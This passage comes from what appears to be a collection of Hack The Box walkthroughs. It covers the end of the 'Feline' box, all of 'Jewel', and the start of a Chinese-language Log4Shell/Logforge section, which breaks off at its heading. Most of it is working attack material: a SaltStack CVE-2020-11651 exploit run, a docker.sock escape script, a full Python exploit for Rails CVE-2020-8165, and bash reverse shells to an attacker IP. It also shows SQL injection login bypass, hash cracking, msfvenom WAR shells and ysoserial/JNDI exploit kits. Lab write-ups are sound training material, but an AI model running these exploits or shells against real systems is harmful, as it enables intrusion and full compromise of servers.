There are a number of ports running in the localhost. Out of these, port number 4505 and 4506 returns a non-readable output.

``` bash
tomcat@VirusBucket:~$ netstat -lnpt
netstat -lnpt                                                                                                       
Active Internet connections (only servers)                                                                          
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name                    
tcp        0      0 127.0.0.1:4505          0.0.0.0:*               LISTEN      -                                   
tcp        0      0 127.0.0.1:4506          0.0.0.0:*               LISTEN      -                                   
tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN      -                                   
tcp        0      0 127.0.0.1:35345         0.0.0.0:*               LISTEN      -                                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                                   
tcp6       0      0 127.0.0.1:8005          :::*                    LISTEN      979/java                            
tcp6       0      0 :::8080                 :::*                    LISTEN      979/java                            
tcp6       0      0 :::22                   :::*                    LISTEN      -
tomcat@VirusBucket:~$ nc 127.0.0.1 4506
nc 127.0.0.1 4506
```

google it search "port 4505 and 4506"

While reading the documentation, found that this software has a critical vulnerability registered as CVE-2020-11651 and CVE-2020-11652.

Reference 3:

 - [CVE-2020-11651](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11651)

Reference 4:

 - [Public Exploit for CVE-2020-11651](https://raw.githubusercontent.com/jasperla/CVE-2020-11651-poc/master/exploit.py)

The above exploit needs the salt module. But our target machine doesn’t have the salt module in its python3 library.

``` bash
tomcat@VirusBucket:/opt/tomcat$ python3 -c "import salt"
python3 -c "import salt"
Traceback (most recent call last):
  File "<string>", line 1, in <module>
ModuleNotFoundError: No module named 'salt'
```

forwarded the port 4506 to my machine using Chisel.

 - [download chisel](https://github.com/jpillora/chisel/releases)

kali:

``` bash
root@kali:~/hackthebox/machine/feline# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
10.10.10.205 - - [03/Sep/2020 13:42:51] "GET /chisel HTTP/1.1" 200 -
```

victim:

``` bash
tomcat@VirusBucket:/tmp$ wget http://10.10.14.4/chisel
tomcat@VirusBucket:/tmp$ ./chisel client 10.10.14.4:10000 R:4506:127.0.0.1:4506
<hisel client 10.10.14.4:10000 R:4506:127.0.0.1:4506
2020/09/03 17:47:51 client: Connecting to ws://10.10.14.4:10000
```

then kail Successfully port forwarded.

``` bash
root@kali:~/hackthebox/machine/feline# ./chisel server -p 10000 --reverse
2020/09/03 13:46:04 server: Reverse tunnelling enabled
2020/09/03 13:46:04 server: Fingerprint f3:d3:a8:bd:bf:15:5e:d1:18:db:db:c5:70:b4:28:d3
2020/09/03 13:46:04 server: Listening on http://0.0.0.0:10000
2020/09/03 13:46:55 server: session#1: tun: proxy#R:4506=>4506: Listening
```

then run the python3 exploit script:

``` bash
root@kali:~/hackthebox/machine/feline# python3 11.py --master 127.0.0.1 --exec 'bash -c "bash -i >& /dev/tcp/10.10.14.4/5555 0>&1"'
[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.
[+] Checking salt-master (127.0.0.1:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651... YES
[*] root key obtained: 8MeKojWxGMucT5TnNiiu1H4+rTdH9ZuGB3w2V+2Ef0sbHhmBjJU8Gil8bQuDbmJVHiSFo4rPlV0=
[+] Attemping to execute bash -c "bash -i >& /dev/tcp/10.10.14.4/5555 0>&1" on 127.0.0.1
[+] Successfully scheduled job: 20200903175545578002
```

then we got a root reverse shell in docker:

``` bash
root@kali:~# nc -lvp 5555
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::5555
Ncat: Listening on 0.0.0.0:5555
Ncat: Connection from 10.10.10.205.
Ncat: Connection from 10.10.10.205:39364.
bash: cannot set terminal process group (3706): Inappropriate ioctl for device
bash: no job control in this shell
root@2d24bf61767c:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@2d24bf61767c:~# whoami
whoami
root
```

#### Exposed Docker Socket Root

start some basic enumeration:

``` bash
root@2d24bf61767c:~# cat .bash_history
cat .bash_history
paswd
passwd
passwd
passswd
passwd
passwd
cd /root
ls
ls -la
rm .wget-hsts 
cd .ssh/
ls
cd ..
printf '- Add saltstack support to auto-spawn sandbox dockers.\n- Integrate changes to tomcat and make the service open to public.' > todo.txt
cat todo.txt 
printf -- '- Add saltstack support to auto-spawn sandbox dockers.\n- Integrate changes to tomcat and make the service open to public.' > todo.txt
cat todo.txt 
printf -- '- Add saltstack support to auto-spawn sandbox dockers.\n- Integrate changes to tomcat and make the service open to public.\' > todo.txt
printf -- '- Add saltstack support to auto-spawn sandbox dockers.\n- Integrate changes to tomcat and make the service open to public.\n' > todo.txt
printf -- '- Add saltstack support to auto-spawn sandbox dockers.\n- Integrate changes to tomcat and make the service open to public.\' > todo.txt
printf -- '- Add saltstack support to auto-spawn sandbox dockers.\n- Integrate changes to tomcat and make the service open to public.\n' > todo.txt
cat todo.txt 
printf -- '- Add saltstack support to auto-spawn sandbox dockers through events.\n- Integrate changes to tomcat and make the service open to public.\n' > todo.txt
cd /home/tomcat
cat /etc/passwd
exit
cd /root/
ls
cat todo.txt 
ls -la /var/run/
curl -s --unix-socket /var/run/docker.sock http://localhost/images/json
exit
```

Since docker.sock is the API used by the host to communicate with Docker containers, we can conclude that this is the way to get the contents of the root of the host.

``` bash
root@2d24bf61767c:~# curl -s --unix-socket /var/run/docker.sock http://localhost/images/json
<t /var/run/docker.sock http://localhost/images/json
[{"Containers":-1,"Created":1590787186,"Id":"sha256:a24bb4013296f61e89ba57005a7b3e52274d8edd3ae2077d04395f806b63d83e","Labels":null,"ParentId":"","RepoDigests":null,"RepoTags":["sandbox:latest"],"SharedSize":-1,"Size":5574537,"VirtualSize":5574537},{"Containers":-1,"Created":1588544489,"Id":"sha256:188a2704d8b01d4591334d8b5ed86892f56bfe1c68bee828edc2998fb015b9e9","Labels":null,"ParentId":"","RepoDigests":["<none>@<none>"],"RepoTags":["<none>:<none>"],"SharedSize":-1,"Size":1056679100,"VirtualSize":1056679100}]
```

We can access the docker.sock file. Let’s go and pwn this

Reference 5:

 - [Docker.sock Abusing](https://dejandayoff.com/the-danger-of-exposing-docker.sock/)

Based on the above reference, wrote a bash script to make this case easy.

``` bash
#!/bin/bash
pay="bash -c 'bash -i >& /dev/tcp/10.10.14.4/7777 0>&1'"
payload="[\"/bin/sh\",\"-c\",\"chroot /mnt sh -c \\\"$pay\\\"\"]"
response=$(curl -s -XPOST --unix-socket /var/run/docker.sock -d "{\"Image\":\"sandbox\",\"cmd\":$payload, \"Binds\": [\"/:/mnt:rw\"]}" -H 'Content-Type: application/json' http://localhost/containers/create)
revShellContainerID=$(echo "$response" | cut -d'"' -f4)
curl -s -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/$revShellContainerID/start
sleep 1
curl --output - -s --unix-socket /var/run/docker.sock "http://localhost/containers/$revShellContainerID/logs?stderr=1&stdout=1"
```

run the script on the target docker container

``` bash
root@2d24bf61767c:~# ./exp2.sh
./exp2.sh
```

and we got a reverse shell

``` bash
root@kali:~# nc -lvp 7777
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::7777
Ncat: Listening on 0.0.0.0:7777
Ncat: Connection from 10.10.10.205.
Ncat: Connection from 10.10.10.205:54680.
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
groups: cannot find name for group ID 11
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

root@959d801ec08f:/# id
id
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)
root@959d801ec08f:/# whoami
whoami
root
root@959d801ec08f:/# cat ~/root.txt
cat ~/root.txt
7817c299e73caba76e2f5dfa9f72291d
```

and owned the root.txt

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb86.jpg)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb87.jpg)


#### Summary of knowledge

 - Tomcat JsessionID Insecure Deserialization CVE
 - use java.lang.Runtime.exec Payload Workarounds to generate payload
 - ysoserial-master.jar usage
 - SaltStack Abusing ClearFuncs Class in Salt Master CVE Docker
 - CVE-2020-11651 exploit
 - Chisel port forwarding
 - EXPOSING DOCKER.SOCK to ececute commands

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end feline -->

</details>

<a id="case-jewel"></a>

## Ruby 对象状态与账户迁移

源码和 Ruby 反序列化连接应用用户，后续结合数据库、口令及双因素认证材料进入本地提权。原始对象与执行顺序完整留存。

<p class="kb-provenance">来源 jewel · 原记录 2020-10-14 · 16 个代码块 · 4 处图片引用</p>

<details class="kb-evidence" id="record-jewel">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start jewel -->

#### introduce

OS: Linux
Difficulty: Medium
Points:	30
Release:	10 Oct 2020
IP:	10.10.10.211

User Blood haqpl	00 days, 01 hours, 43 mins, 28 seconds.
Root Blood Ziemni	00 days, 02 hours, 59 mins, 53 seconds.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb110.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### information gathering

first use nmap as usaul

``` bash
root@kali:~/hackthebox/machine# nmap -sV -p- -v --min-rate=10000 10.10.10.211
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
8000/tcp open  http    Apache httpd 2.4.38
8080/tcp open  http    nginx 1.14.2 (Phusion Passenger 6.0.6)
Service Info: Host: jewel.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

 - ngnix and phusion passanger exploit is not found, creating a account
 - Profile picture cannot be changed so no chance of file upload vuln
 - Cannot create a content so injections might not be possible
 - Enumerated Dirs:

``` bash
/login (Status: 200)
/users (Status: 500)
/404 (Status: 200)
/articles (Status: 200)
/signup (Status: 200)
/500 (Status: 200)
/422 (Status: 200)
```

 - Nothing intresting movin on to port 8000
 - obtained users jennifer and bill has the password, spongebob
 - sql testing in login, payload

``` bash
' 1 or 1 = 1 -- -
```
 - Username was not valild, the sql query in the password field got accepted
 - Logging in with the username, test_wr3nch and password [' or 1 = 1 -- -]

(username is changed, cause its not valid)

#### Port 8000

``` bash
root@kali:~/hackthebox/machine/jewel# curl --head http://jewel.htb:8000/ -L
HTTP/1.1 302 Found
Date: Wed, 14 Oct 2020 08:56:30 GMT
Server: Apache/2.4.38 (Debian)
Location: http://jewel.htb:8000/gitweb/
Content-Type: text/html; charset=iso-8859-1

HTTP/1.1 200 OK
Date: Wed, 14 Oct 2020 08:56:42 GMT
Server: Apache/2.4.38 (Debian)
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
```

 - No apache exploits in searchsploit
 - Hosts gitweb. (gitweb, web frontend to git repostories)

``` bash
<!-- git web interface version 2.20.1, (C) 2005-2006, Kay Sievers <kay.sievers@vrfy.org>, Christian Gierke -->
<!-- git core binaries version 2.20.1 -->
```
 - A simple console.log() in app/assets/javascripts/application.js

``` bash
console.log("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
```
 - Got a hint from za10bx#3725 as redis
 - Looking deeper in the gitweb
 - db has a schema and a file that says everything is default
 - lib has nothing
 - log has nothing
 - public directory has the things enumerated via dir enumeration
 - storage has nothing
 - test has nothing
 - tmp has nothing
 - vendor has nothing

bd.sql file, which is a postgresql database dump from debian 11 has

``` bash
1 bill bill@mail.htb

2020-08-25 08:13:58.662464 2020-08-25 08:13:58.662464 

$2a$12$uhUssB8.HFpT4XpbhclQU.Oizufehl9qqKtmdxTXetojn2FcNncJW
2 jennifer jennifer@mail.htb

2020-08-25 08:54:42.8483 2020-08-25 08:54:42.8483 

$2a$12$ik.0o.TGRwMgUmyOR.Djzuyb/hjisgk2vws1xYC/hxw8M1nFk0MQy
```

 - Config.ru has nothing
 - In the Gemfile, Redis is inolved as a gem

Got creds from port 8000, back to port 8080

``` bash
root@kali:~/hackthebox/machine/jewel# john -format=bcrypt hashes -w=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Session completed
Password obtained: spongebob
```

#### get usershell

 - looking at the redis / ruby cve
 
 - the cve-2020-8165 https://github.com/masahiro331/CVE-2020-8165

 - Looking at the PoC

``` bash
curl 'localhost:3000/users?new=%04%08o%3A%40ActiveSupport%3A%3ADeprecation%3A%3ADeprecatedInstanceVariableProxy%09%3A%0E%40instanceo%3A%08ERB%08%3A%09%40srcI%22%15%60touch+%2Ftmp%2Frce%60%06%3A%06ET%3A%0E%40filenameI%22%061%06%3B%09T%3A%0C%40linenoi%06%3A%0C%40method%3A%0Bresult%3A%09%40varI%22%0C%40result%06%3B%09T%3A%10%40deprecatorIu%3A%1FActiveSupport%3A%3ADeprecation%00%06%3B%09T'
```

 - While decoding it, we get

``` bash
localhost:3000/users?new=o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy	:@instanceo:ERB:	@srcI"`touch /tmp/rce`:ET:@filenameI"1;	T:@linenoi:@method:result:	@varI"@result;	T:@deprecatorIu:ActiveSupport::Deprecation
```

 - Ok we have our payload, where do we inject it.. ? the only available places are login, signup and edit profile, login and signup gives error so that leaves with the edit profile,
 - While editing the username, capture the request in the burp and send it to
repeater. in the username paramater inject the url encoded payload and forward the request twice
 - refresh the http://jewel.htb/8080/articles twice while listening on the specified port, to obtain a reverse shell

 - or easily using the following python3 script

getuser.py

``` bash
import requests
import re
import sys
 
URL='http://{}:8080'.format(sys.argv[1])
username='myuser4'
password='mypass4'
email='myuser4@mail.com'
 
if len(sys.argv) != 4:
    print("specify target IP, your IP and port: python3 rev.py 10.10.xx.xx 9001")
    exit(0)
 
s = requests.Session()
 
resp = s.get(URL + '/signup')
rx = r'token" content="(.*)"'
 
token = re.search(rx,resp.text).group(1)
 
# create user
data = {}
data['utf8'] = 'â'
data['authenticity_token'] = token
data['user[username]'] = username
data['user[email]'] = email
data['user[password]'] = password
data['commit'] = 'Create User'
resp = s.post(URL + '/users', data=data)
 
# login
data = {}
data['utf8'] = 'â'
data['authenticity_token'] = token
data['session[email]'] = email
data['session[password]'] = password
data['commit'] = 'Log in'
resp = s.post(URL + '/login', data=data)
 
rx = r'href="/users/(.*)"'
user_id = re.search(rx,resp.text).group(1)
 
# rev shell
rev = "bash -c 'bash -i >& /dev/tcp/{}/{} 0>&1'".format(sys.argv[2], sys.argv[3])
payload = '\x04\x08o\x3A\x40ActiveSupport\x3A\x3ADeprecation\x3A\x3ADeprecatedInstanceVariableProxy'
payload += '\x09\x3A\x0E\x40instanceo\x3A\x08ERB\x08\x3A\x09\x40srcI\x22'
payload += '{}\x60{}\x60'.format(chr(len(rev)+7), rev)
payload += '\x06\x3A\x06ET\x3A\x0E\x40filenameI\x22\x061\x06\x3B\x09T\x3A\x0C\x40linenoi\x06\x3A\x0C\x40method\x3A'
payload += '\x0Bresult\x3A\x09\x40varI\x22\x0C\x40result\x06\x3B\x09T\x3A\x10\x40deprecatorIu\x3A\x1F'
payload += 'ActiveSupport\x3A\x3ADeprecation\x00\x06\x3B\x09T'
 
data = {}
data['utf8'] = 'â'
data['authenticity_token'] = token
data['_method'] = 'patch'
data['user[username]'] = payload
data['commit'] = 'Update User'
s.post(URL + '/users/' + user_id, data=data)
s.post(URL + '/users/' + user_id, data=data)
 
s.get(URL + '/articles')
```

``` bash
root@kali:~/hackthebox/machine/jewel# python3 getuser.py 10.10.10.211 10.10.14.3 3344
```

get a shell

``` bash
root@kali:~# nc -lvp 3344
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::3344
Ncat: Listening on 0.0.0.0:3344
Ncat: Connection from 10.10.10.211.
Ncat: Connection from 10.10.10.211:47546.
bash: cannot set terminal process group (791): Inappropriate ioctl for device
bash: no job control in this shell
bill@jewel:~/blog$ id
id
uid=1000(bill) gid=1000(bill) groups=1000(bill)
bill@jewel:~/blog$ whoami
whoami
bill
bill@jewel:~/blog$ cd ~
cd ~
bill@jewel:~$ ls
ls
blog
user.txt
bill@jewel:~$ cat user.txt
cat user.txt
b7c9e7532dda57b2362495bd05367fb0
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb111.jpg)

#### get rootshell

 - After obtaining the shell, run enumeration scripts LinEnum.sh
 - After enumerating scripts, found nothing intresting. The sudo version enumerated is that version 1.8.27, checking for its exploits lead to sudo 1.8.27 - Security Bypass https://www.exploit-db.com/exploits/47502
 - After going through the report, since we have the passsword that is cracked "spongebob" lets `sudo -l` it
 - sudo -l asks for a password which is normal, and asks something verification code.
 - ls -la the bills home directory reveals a hidden file .google_authenticator
 - cat the google authentication file has a secret key/hash in it. We can find the verification code with the secret hash

``` bash
bill@jewel:~$ cat .google_authenticator
cat .google_authenticator
2UQI3R52WFCLE6JTLDCSJYMJH4
" WINDOW_SIZE 17
" TOTP_AUTH
```

 - We used the Google Chromimum with an addon, GAuth Authenticator https://chrome.google.com/webstore/detail/gauth-authenticator/ilgcnhelpchnceeipipijaljkblbcobl to do the
task
 - We pasted the secret hash to the addon and it provided the OTP, with that we can sudo -l, and the /usr/bin/gem is available to be run as sudo

``` bash
bill@jewel:~$ sudo -l 
sudo -l
[sudo] password for bill: spongebob

Verification code: 437542

Matching Defaults entries for bill on jewel:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    insults

User bill may run the following commands on jewel:
    (ALL : ALL) /usr/bin/gem
```

 - with the gem GTFOBins https://gtfobins.github.io/gtfobins/gem, we are able to obtain the reverse shell
 - sudo /usr/bin/gem open -e "/bin/sh -c /bin/sh" rdoc

``` bash
bill@jewel:~$ sudo gem open -e "/bin/sh -c /bin/sh" rdoc
sudo gem open -e "/bin/sh -c /bin/sh" rdoc
# id
id
uid=0(root) gid=0(root) groups=0(root)
# whoami
whoami
root
# cd ~
cd ~
# ls
ls
root.txt
# cat root.txt
cat root.txt
458f634ac19fdd93ba6027a8cbe34197
```

 - root.txt is obtained

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb112.jpg)

#### Summary of knowledge

 - gitweb .sql leak pass hash
 - john crack bcrypt hash
 - write cve-2020-8165 exploit python3 script
 - use google_authenticator hash of Google Chromimum addon GAuth Authenticator to get the verification code
 - gem GTFOBins privesclation

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end jewel -->

</details>

<a id="case-log4j"></a>

## Logforge 中的 JNDI 与 classpath

HTB Logforge 环境验证 Log4Shell，原记录涵盖修改版 ysoserial、JNDI 工具和不同 JDK 约束。各类原始载荷和类路径条件完整并入。

<p class="kb-provenance">来源 log4j · 原记录 2021-12-29 · 21 个代码块 · 6 处图片引用</p>

<details class="kb-evidence" id="record-log4j">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start log4j -->

#### 介绍

本次复现环境使用的为hack the box的logforge靶场

#### 修改版ysoserial介绍

 - [ysoserial-modified](https://github.com/pimps/ysoserial-modified)

修改版ysoserial主要参考了[$@|sh – Or: Getting a shell environment from Runtime.exec](https://codewhitesec.blogspot.com/2015/03/sh-or-getting-shell-environment-from.html)这篇英文文章，如下。

``` bash
$ java Exec 'sh -c $@|sh . echo ps ft'
  PID TTY      STAT   TIME COMMAND
27109 pts/25   Ss     0:03 /bin/bash
 6904 pts/25   Sl+    0:00  \_ java Exec sh -c $@|sh . echo ps ft
 6914 pts/25   S+     0:00      \_ sh -c $@|sh . echo ps ft
 6916 pts/25   S+     0:00          \_ sh
 6917 pts/25   R+     0:00              \_ ps ft
```



由于Runtime.getRuntime().exec(String.class)在java中, 要嵌套复杂的命令, 需要控制pipes或将输出结果发送到文件(例: cat /etc/passwd > /tmp/passwd_copy), 因为该命令执行exec()方法从运行时类并不在一个终端环境中执行。一种可能的攻击行为是执行"/bin/sh -c 'command'"，但需要使用${IFS}转义'command'上的空格字符，否则它将无法正常工作。

解决这个问题的一个好办法是将参数传递给需要字符串数组的方法Runtime.getRuntime().exec(String[].class)。最好的选项是执行以下命令:

``` bash
Runtime.getRuntime().exec(new String[] {"/bin/sh", "-c", "command"})
```

传递参数, java会理解执行的/bin/bash传递参数 -c 和 “command” 的正确方法, 将在一个终端环境执行命令, 将允许使用嵌套或复杂的命令(和|或;)以及控制输入和输出(<和>)。

修改版添加了一个功能：ysoserial给终端的类型想要用来执行的命令(如cmd / bash / powershell或none), 修改版本将执行的命令在终端上下文允许执行任何复杂的命令!

#### 使用(如下是各种利用链的payload, 一般使用CommonsCollections5这个payload反弹shell)

``` bash
┌──(root💀kali-linux-2021-1)-[~/ysoserial-modified/target]
└─# java -jar ysoserial-modified.jar 
Y SO SERIAL?
Usage: java -jar ysoserial-[version]-all.jar [payload type] [terminal type: cmd / bash / powershell / none] '[command to execute]'
   ex: java -jar ysoserial-[version]-all.jar CommonsCollections5 bash 'touch /tmp/ysoserial'
	Available payload types:
		BeanShell1 [org.beanshell:bsh:2.0b5]
		C3P0 [com.mchange:c3p0:0.9.5.2, com.mchange:mchange-commons-java:0.2.11]
		CommonsBeanutils1 [commons-beanutils:commons-beanutils:1.9.2, commons-collections:commons-collections:3.1, commons-logging:commons-logging:1.2]
		CommonsCollections1 [commons-collections:commons-collections:3.1]
		CommonsCollections2 [org.apache.commons:commons-collections4:4.0]
		CommonsCollections3 [commons-collections:commons-collections:3.1]
		CommonsCollections4 [org.apache.commons:commons-collections4:4.0]
		CommonsCollections5 [commons-collections:commons-collections:3.1]
		CommonsCollections6 [commons-collections:commons-collections:3.1]
		FileUpload1 [commons-fileupload:commons-fileupload:1.3.1, commons-io:commons-io:2.4]
		Groovy1 [org.codehaus.groovy:groovy:2.3.9]
		Hibernate1 []
		Hibernate2 []
		JBossInterceptors1 [javassist:javassist:3.12.1.GA, org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final, javax.enterprise:cdi-api:1.0-SP1, javax.interceptor:javax.interceptor-api:3.1, org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final, org.slf4j:slf4j-api:1.7.21]
		JRMPClient []
		JRMPListener []
		JSON1 [net.sf.json-lib:json-lib:jar:jdk15:2.4, org.springframework:spring-aop:4.1.4.RELEASE, aopalliance:aopalliance:1.0, commons-logging:commons-logging:1.2, commons-lang:commons-lang:2.6, net.sf.ezmorph:ezmorph:1.0.6, commons-beanutils:commons-beanutils:1.9.2, org.springframework:spring-core:4.1.4.RELEASE, commons-collections:commons-collections:3.1]
		JavassistWeld1 [javassist:javassist:3.12.1.GA, org.jboss.weld:weld-core:1.1.33.Final, javax.enterprise:cdi-api:1.0-SP1, javax.interceptor:javax.interceptor-api:3.1, org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final, org.slf4j:slf4j-api:1.7.21]
		Jdk7u21 []
		Jython1 [org.python:jython-standalone:2.5.2]
		MozillaRhino1 [rhino:js:1.7R2]
		Myfaces1 []
		Myfaces2 []
		ROME [rome:rome:1.0]
		Spring1 [org.springframework:spring-core:4.1.4.RELEASE, org.springframework:spring-beans:4.1.4.RELEASE]
		Spring2 [org.springframework:spring-core:4.1.4.RELEASE, org.springframework:spring-aop:4.1.4.RELEASE, aopalliance:aopalliance:1.0, commons-logging:commons-logging:1.2]
		Wicket1 [wicket-util:wicket-util:6.23]
```

#### 下载编译好的版本或者自己本地编译

从下面的github仓库的/target目录下载编译好的jar文件

``` bash
https://github.com/pimps/ysoserial-modified/raw/master/target/ysoserial-modified.jar
```

自己编译: 需要Java 1.7+ 和 Maven 3.x+

``` bash
$ git clone https://github.com/pimps/ysoserial-modified.git
$ cd ysoserial-modified
$ mvn clean package -DskipTests
```

编译好的jar文件将位于/target目录中

#### JNDI-Exploit-Kit介绍

 - [JNDI-Exploit-Kit](https://github.com/pimps/JNDI-Exploit-Kit)

[JNDI-Injection-Exploit](https://github.com/welk1n/JNDI-Injection-Exploit)的修改版本，由@welk1n创建。这个工具可以用来启动HTTP服务端、RMI服务器和LDAP服务端，从而利用java web应用程序容易受到JNDI注入的攻击, 以下是该攻击套件的新特性：

 - 增加对序列化java payload到LDAP payload的支持。允许任何java版本的利用，只要class存在于应用程序的class路径中，可以完全忽略trustURLCodebase=false。
 - 添加了一个正确的菜单，有帮助显示和指导
 - 增加一些命令行参数，修改服务的“IP:PORT”。这在目标机只能访问特定端口(如25、53、80、443等)的情况下很有用。
 - 为所有服务添加独立模式，这样就只能启动JettyServer (HTTP)，RMIServer或LDAPServer。HTTP地址也可以在独立模式下更改，以将请求重定向到不同的服务器。当目标只能访问单个端口(如端口53)，需要在端口53中跳转多个服务器才能成功利用的情况下将会有用。
 - 修改ASMified Transformer payload (java字节码)，以检测攻击代码将被触发的操作系统(windows或类似unix的系统)，并使用Runtime.getRuntime().exec(String[] cmd)在适当的终端shell中自动运行该命令, 自动映射为“cmd.exe /c command”或“/bin/bash -c command”。通过这种方式，可以控制pipes并将输出写入文件，等等。
 - 使用@orangetw发布的groove添加JNDI绕过payload
 - 将 EL bypass中的表达式语言修改为更简洁的payload，该payload检测操作系统并在适当的终端中运行命令(类似于修改后的ASMified Transformer代码)。
 - 增加两个JDK模板，JDK 1.6和 JDK 1.5。对于古老Java版本来说非常重要。

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/log4j1.png)

#### 描述

JNDI-injection-exploit可用于生成有效的JNDI链接，并通过启动RMI服务、LDAP服务和HTTP服务来提供后台服务。RMI服务和LDAP服务基于[marshals](https://github.com/mbechler/marshalsec)，可以进一步修改以与HTTP服务链接。

使用此工具可以获得JNDI链接，可以将这些链接插入POC以测试漏洞。

例如，下面是一个Fastjson vul-poc:

``` bash
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit":true}
```

可以使用JNDI-Injection-Exploit生成的链接替换“rmi://127.0.0.1:1099/Object”来测试漏洞。

#### 使用

``` bash
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
```

-C - 在远程类文件中执行的命令。

(可选，default命令为 "open /Applications/Calculator.app")

-A - 服务器地址，IP地址或域。

(可选，默认地址为网络接口的第一个地址)

 - 确保服务器的端口(1099、1389、8180)是可用的。或者可以在run.ServerStart class第26~28行中更改默认端口。

 - 执行的命令被传到 Runtime.getRuntime().exec() 作为参数, 因此，需要确保命令在exec()中是可操作的。bash中的命令“bash -c ......”需要添加双引号.

#### 实例

1.启动工具:

``` bash
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open /Applications/Calculator.app" -A "127.0.0.1"
```

2.假设将第1步中生成的JNDI链接(如rmi://ADDRESS/jfxllc)注入到易受攻击的应用程序中，该应用程序可能会受到JNDI注入的攻击。在这个例子中，是这样的:

``` bash
public static void main(String[] args) throws Exception{
    InitialContext ctx = new InitialContext();
    ctx.lookup("rmi://127.0.0.1/fgf4fp");
}
```

然后当运行这段代码时，命令将被执行，日志将在shell中打印:

#### 安装

直接下载最新的jar

``` bash
https://github.com/welk1n/JNDI-Injection-Exploit/releases/download/v1.0/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
```

或者将源代码克隆到本地并进行构建(需要Java 1.8+ 和 Maven 3.x+)。

``` bash
$ git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
$ cd JNDI-Injection-Exploit
$ mvn clean package -DskipTests
```

#### 生成payload反弹shell

首先对logforge靶场环境进行探测

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/log4j2.png)

可以看到目标使用Tomcat/9.0.31

Tomcat的默认端口是8080。猜测配置是Apache在端口80上将请求重定向到端口8080上的tomcat服务。Apache阻止直接访问/manager（这是 Tomcat 的管理面板。此配置可能会导致路径遍历问题。

 - 绕过Apache的限制

参考hacktricks的这篇文章[Tomcat](https://book.hacktricks.xyz/pentesting/pentesting-web/tomcat)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/log4j3.png)

以下payload可以绕过Apache阻拦配置并访问Tomcat管理面板, 输入tomcat默认弱口令tomcat/tomcat即可

``` bash
http://10.10.11.138/;param=value/manager/html
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/log4j4.png)

首先上传一个恶意WAR文件尝试反弹shell

``` bash
┌──(root💀kali-linux-2021-1)-[~/hackthebox-tmp/logforge]
└─# msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.30 LPORT=4444 -f war -o rev.war
Payload size: 1085 bytes
Final size of war file: 1085 bytes
Saved as: rev.war
```

成功上传但是返回错误

``` bash
FAIL - Deploy Upload Failed, Exception: [org.apache.tomcat.util.http.fileupload.impl.FileSizeLimitExceededException: The field deployWar exceeds its maximum permitted size of 1 bytes.]
```

#### log4j漏洞利用

